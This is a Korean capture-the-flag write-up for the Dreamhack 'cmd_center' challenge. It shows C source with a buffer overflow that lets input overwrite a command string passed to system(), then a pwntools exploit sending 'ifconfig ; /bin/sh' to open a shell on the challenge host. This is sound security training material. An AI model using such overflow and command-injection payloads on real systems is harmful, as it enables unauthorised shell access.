Index
문제
보호기법
스택 카나리를 제외하고 모든 보호기법이 걸려있다.
cmd_center.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
문제풀이
center_name
의 크기는 24byte인데, 100byte 입력을 받으므로, bof가 발생한다.
main 시작 부분에 선언된 3개의 변수중에 center_name
의 주소가 가장 낮으므로, cmd_ip
까지 값을 입력할 수 있다.
cmd_ip
의 값이 ifconfig
가 맞는지 비교하고 system
함수를 호출한다. 8byte만 비교하므로, 256byte를 가지는 cmd_ip
에 세미콜론(;
)을 이용하여 command injection을 할 수 있다.
셸을 얻기 위해 우리가 실행 시킬 명령어는 /bin/sh
이므로, cmd_ip
배열에 ifconfig ; /bin/sh
를 저장한다.
익스플로잇 코드
from pwn import *
#p = process('./cmd_center')
p = remote('host3.dreamhack.games', 14066)
#cmd_ip_offset = 0x110
#center_name_offset = 0x130
payload = b'A'*0x20 + b'ifconfig ; /bin/sh'
p.sendlineafter(b'Center name: ', payload)
p.interactive()
Uploaded by N2T